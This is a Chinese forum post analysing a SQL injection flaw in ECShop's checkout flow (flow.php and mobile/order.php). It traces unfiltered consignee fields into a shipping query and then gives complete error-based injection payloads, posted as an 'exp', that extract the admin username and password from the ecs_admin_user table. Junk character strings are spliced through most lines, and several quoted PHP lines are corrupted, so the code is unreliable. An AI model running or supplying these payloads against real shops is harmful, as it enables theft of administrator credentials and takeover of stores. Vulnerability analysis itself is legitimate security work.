找回密码
 立即注册
查看: 2939|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
6 s$ B" f1 ]1 E$ c" j+ b  Z( D% V: X' t# m' ]$ s+ f
    漏洞关键文件:/ V, Q1 M# b) R' h

8 y/ @3 c8 h) y/ y. w    /includes/lib_order.php
! ^5 g" f. B1 x% D4 w2 a1 E7 o* V( ^7 R2 a
    关键函数:0 }3 G6 k1 _% G- s

! d0 f, V; j5 |+ z2 [
$ s. a8 d$ ]) K$ N4 B  O  P4 u3 O( h8 n+ i
01     function available_shipping_list($region_id_list) - N' _) ^+ {2 ]
+ Y. S; x4 V9 S- v
02 { - y+ O7 J# l% ^8 V1 T: v
2 Q6 a8 a9 x- z' O- ~# y
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . - r* f; R: J; D; x" s

' w; R2 X# _: @# w6 k, p, W2 F. u04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
& V9 O- y# @  E3 H, ?; G5 x7 [) [" s4 ?; ~
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . ( i, S8 B: L" R* A8 h9 P, a
+ s6 k/ X( P' F# f+ w. n$ U7 ?
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . # J0 `! }! e  b

, K8 n2 ?. v0 H) z- F07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. 9 z7 U9 c# F! P  z# v# w! m" C

4 R5 j& ?3 ]/ l; E8 `# x5 M08             'WHERE r.region_id ' . db_create_in($region_id_list) . : h; U) N0 B% s2 a$ H
# y) a  G! X0 Y) C/ A+ q4 g
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
. R0 I& X/ a7 [: Z# Y" s3 }& Y8 x4 N8 Y
10   6 a4 g! U2 I' \/ Q, P: F
( w$ `5 _- j) i- O! O$ k' e& p
11     return $GLOBALS['db']->getAll($sql);
" c" Q) a* ?# j# b( @) l
8 n, [: C. y/ L12 } 4 t% j2 D! @5 k  L

& O6 Z' |6 z0 i! Y2 D7 s% X* [显然对传入的参数没有任何过滤就带入了查询语句。- M# T6 y! G$ m8 d( j

7 _& r( R( W" K8 o下面我们追踪这个函数在flow.php中:
  Q# o9 q! J" l$ O! b$ u 第531行:   
" K( G+ l# R# O8 r! H% `
5 |' H5 y7 c1 n* a+ d0 z$ t6 x1 $shipping_list     = available_shipping_list($region);
) `! k4 {! L, r6 |: g" T
4 K  @* w2 [) ^! V : Q/ e- J5 @  j
! i9 P, R! [' n0 k, y  E; k9 o
  Y! j. `6 H- z5 i" m6 t; P

$ x1 ~, o0 I& c再对传入变量进行追踪:0 i6 j0 t  F) l

5 A+ f" D( C: @2 f+ ?) z$ }. F第530行:    * g- }9 R( ~9 ~$ r5 f  z8 t2 H$ Z  `. u

; \* E2 C2 P0 C. y1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
7 E) v/ j  g5 k! q8 _7 I, V- {/ T9 K' k( U$ M$ T/ ^- G& G' Y
3 |/ L" Z5 l0 d
( J- b1 ]/ s* k0 h
0 @, R/ J/ e, A

; P5 X) p0 y% [  Y0 d第473行:        3 G$ I3 D+ L* M+ l5 W5 a6 ]

. b; _0 L: x3 r! x" ]2 r# P$ B9 j, G1 $consignee = get_consignee($_SESSION['user_id']); 7 ~& q9 o  Q8 U" P# w$ S

. r/ ?( e; x& g- W' v0 A0 X% }到了一个关键函数:2 v* f. y3 |% o4 {- ]
" @1 \6 Y8 z" ]: M$ M# w
/includes/lib_order.php
- k2 H) w2 ]/ j9 Z
% a( B/ P9 ~8 ?, s  j9 Z, [ & @, Y7 z* n4 b

; w1 A+ U$ v( V6 e" \ : z4 L5 [6 [; u7 [
; M& d# d4 d; w$ N& I; |, K
01 function get_consignee($user_id)
4 C! l) U0 U" E6 l' K) w- r+ n
7 Q& C5 F% n% B  A: n5 o, m02 { * J' u! n6 C8 ~' B( O

3 ]. `6 `+ P/ \$ H' Q9 W03     if (isset($_SESSION['flow_consignee']))
) N0 {% k0 }7 ^/ D/ n+ M* F
3 O8 ~3 u% \5 }' r5 P" ?/ ^04     { 9 a) _' U8 o6 c0 q
0 s; n1 y7 m7 {7 ?
05         /* 如果存在session,则直接返回session中的收货人信息 */ & f  c. p  f3 [# d

; d0 f1 `4 X% ~' J; r4 K: q5 }0 f  ]06   
( X. l) K0 D- }1 s1 Y% ~( n0 k' ~2 m0 Q2 J0 n, q" u
07         return $_SESSION['flow_consignee'];
' M; Z# P4 Y1 V
* e  I6 n# K' L1 T$ A08     } / ^7 k; Q1 r, X. ^% S) H

; s2 [% P- ^  _! N# G2 x: X5 q) p09     else ' X5 H5 Z0 k9 n1 ?5 _

5 C/ N! `- U# \) w( e: e2 c9 X10     {
+ [3 {# {. [/ d7 |2 O. d/ |' N) M, x( P
11         /* 如果不存在,则取得用户的默认收货人信息 */ ) ~- T- v8 t1 f& d( }

! s$ K- v# e7 V12         $arr = array();
8 d  D! ?& ^0 G3 u- B9 a$ }& l
. W7 J% J, J, f+ F, G+ |: _( b$ C13   ' E, [/ W0 Y2 [" J; V. \7 [2 }

/ o) D2 m0 t' E1 ^$ o6 w- o% \( X14         if ($user_id > 0)
; c4 n; z% ?% P- Z, z/ ]
' B. N& x1 b7 J& y: }8 z- t" D; O15         {
/ Y1 z: B4 L8 p( i( \
* n/ {3 c* f+ ?1 B' f, q16             /* 取默认地址 */ ) W. @( `8 _5 u% }# T

( R, y$ P; l* c+ m/ o7 m17             $sql = "SELECT ua.*".
1 r0 m* ?  ?+ j7 S" P$ P2 d1 c3 ~  S6 Q' h+ K- J
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 6 b# a8 e1 m# y* a

) A7 G2 E1 F( D, l19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
8 V1 Z5 p- n( F$ d( t2 A; r0 l) a" p0 m) Q5 I
20     K: I' D1 c5 S! ]( F# }, Q7 B6 O

1 M0 d& E+ W3 ^7 C, g9 J21             $arr = $GLOBALS['db']->getRow($sql); 5 R3 [  ?8 H1 Q. t7 l! i3 \; E

2 g8 O& P7 K, ]! Q) Z# U% H22         }
' B( y; X$ d! p4 D' J3 Q
0 H1 H6 c+ |' D7 |& o- y+ r23   ( W& m( j8 \, I( D: ]+ I1 z
" g0 f) I' W, ^; R
24         return $arr;
( V+ g- e! ]1 R: e* o4 |9 I. V. A' O' X/ f! R& w: W$ r0 F8 h
25     }   D9 D% H" S- A5 @- E
6 T3 W5 c3 m8 p/ _) `1 c& P3 o
26 }
; |1 N& Y) s3 A* |6 t
# I+ C  [6 X; Q$ w$ z; {1 Y' _显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?1 C! q' a: f5 U: P& a$ I: g
& F- b! K6 R' f9 Z! T& {
! j) v  T+ u) Q5 P! H
7 s. c2 S  B# v2 f. I4 ?
关键点:0 S- j  g- S, z+ c
1 V3 _) q. `7 ]% z2 ~: _/ D, S
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);) Z$ v& j& ], c
1 H' t* E/ m4 b$ }/ d5 u! C2 O
这里对传入参数反转义存入$_SESSION中。/ ~: F8 |3 z, b- g; g& T( ?4 B

6 B( J( @6 v# z% g$ j0 n
/ C' d$ U0 l0 Z4 c: y6 n% M4 o$ x! R& o7 a" _7 _
然后看下:
4 u4 P/ H% v" X+ g! Z3 |4 w6 F1 H1 Y6 g
* n( Q2 H' W" ~. n/ o

& [8 V; _( [; w* q' w& j6 V. Q/ H; V   
5 J$ T. P% O8 l; Q1 X
, B3 r  _+ A# {01 $consignee = array( % M, \7 K+ |: I( b9 s
3 |% u& W! D+ |3 w% d
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), 5 ]$ y; f' \" O" G

6 T5 I, u3 {# k2 C; s( v# u5 X03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), ! x0 c0 {- X% t9 ~, }
5 _9 c/ [2 j# V0 p: e
04         'country'       => empty($_POST['country'])    ? '' _POST['country'], - M7 a$ w) C4 ]

* k* A" {# a( Z2 d05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
! I( ]: O* ~! o; {
6 {6 ?5 x( o& k06         'city'          => empty($_POST['city'])       ? '' _POST['city'], " F+ {  _- y& j" J9 I* u# z
) }# H! g* G1 P! W( @- ^
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], " J/ z7 c2 U- n6 P, _7 Q* K2 b

! u* [, ^( ]9 g9 ?: S08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
& U, X$ @8 Z9 v) T* Z
) n5 @2 Y6 C- @! n# f09         'address'       => empty($_POST['address'])    ? '' _POST['address'], - H( E# [/ I" z! O# K) y! e$ d
# Z% p* j% Z  C: Y6 S) b  K
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
2 z0 H% g5 H" z! g0 L6 ]# f  B; l( y7 c6 ^& U
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
& y+ ^% x/ ]1 t% n0 y; y' }
& f0 r. F$ }3 a& r: Y0 x12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
' g0 G4 j, R+ f0 @$ x, v
' H* V' V) M# H$ s+ D13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 6 n3 S7 c7 ~8 j# Y: `# a

. q! j6 m, a* `( T14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], ) F% o# n$ s# I" ~9 h4 H' }
0 ]6 m! d, x5 ?: I' K, O! @3 Z
15     );
# |4 y$ d9 ^+ u
7 ^4 R, K" q! Q0 q! \& m好了注入就这样出现了。
! z% u, }0 m$ f& h; _
6 G: `' Z: ~) }: A( v2 J# D==================" v) x1 J. Y9 G: i: H; Z" |

5 `# |* S3 {( O. P. L' y5 j注入测试:" P  Z; a- [7 {: r$ U
$ |$ ?. D% \4 [2 U  w: s* g
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
. f. w" N5 q# b# n. K3 R' y/ B2 y( u; v( c
测试程序:ECShop_V2.7.3_UTF8_release11064 G; P0 D! w. F% G$ K

7 R# K: N/ I, J5 O 5 w8 H1 Q6 u0 S( A+ G
. t$ s, p0 b( {; t8 K* x6 K
1.首先需要点击一个商品加入购物车
9 \1 p: c8 L  f0 G* P* |% |7 i1 Q, g7 y' Q) t- g
2.注册一个会员帐号, ?# n9 G9 p9 w7 i1 T3 k1 m

6 t0 l! g0 @! M/ r3.post提交数据: f& z  x$ W0 K& U. P) Y
# G- S% R1 W2 t: t9 |) P3 d

6 g' g- D4 C2 a4 u4 p
0 U+ U- ~* @" @" w* k. y/ o1 http://127.0.0.1/ecshop/flow.php
4 l( D1 j+ b! b" t1 z7 E
% @& L" Y, d- e+ g- F2   * m. x# p' @3 `. R/ H
. R9 ~% ~0 _& S+ J2 h. C/ ^# L; w
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
; K3 [9 j( W! I! ~举一反三,我们根据这个漏洞我们可以继续深入挖掘:
* Q" J: j" G  ?3 _; j- t" ^
1 ]% L6 U- K( x' A) w9 L6 O我们搜寻关键函数function available_shipping_list()
6 N- F# X9 J* g' f$ x& W; T
- h+ L5 q4 K$ b: G' r6 j8 N在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同, i" G2 M0 x; a* s+ t1 m/ t. R1 o

+ I/ s. E& a7 j利用exp:
9 J% K) ]6 t: j1 G, A' g# r" b4 u5 C, f3 K$ a
1.点击一个商品,点击购买商标
9 ~) d# }8 D0 B6 ^  N2 @% C
7 O+ u0 F! J2 h2.登录会员帐号5 M1 K" c4 Z/ a0 v4 d& w6 d
8 W& ^" I2 ]) e8 L
3.post提交:$ j; ~8 }9 ~8 g% }

# [' R( {% K( b, g) w4 m9 c3 T  Jhttp://127.0.0.1/ecshop/mobile/order.php
9 E/ t# U5 r8 t0 X
: {+ \) h0 h8 f) n4 f& {* t: P
# L$ p. [) r/ |6 `) \5 ^  S4 k' ^! E
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=% P7 C0 ^; {) l4 ^2 ^; w& s8 a. G9 d* ^

3 O" w& y  Z+ [# p  \  A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表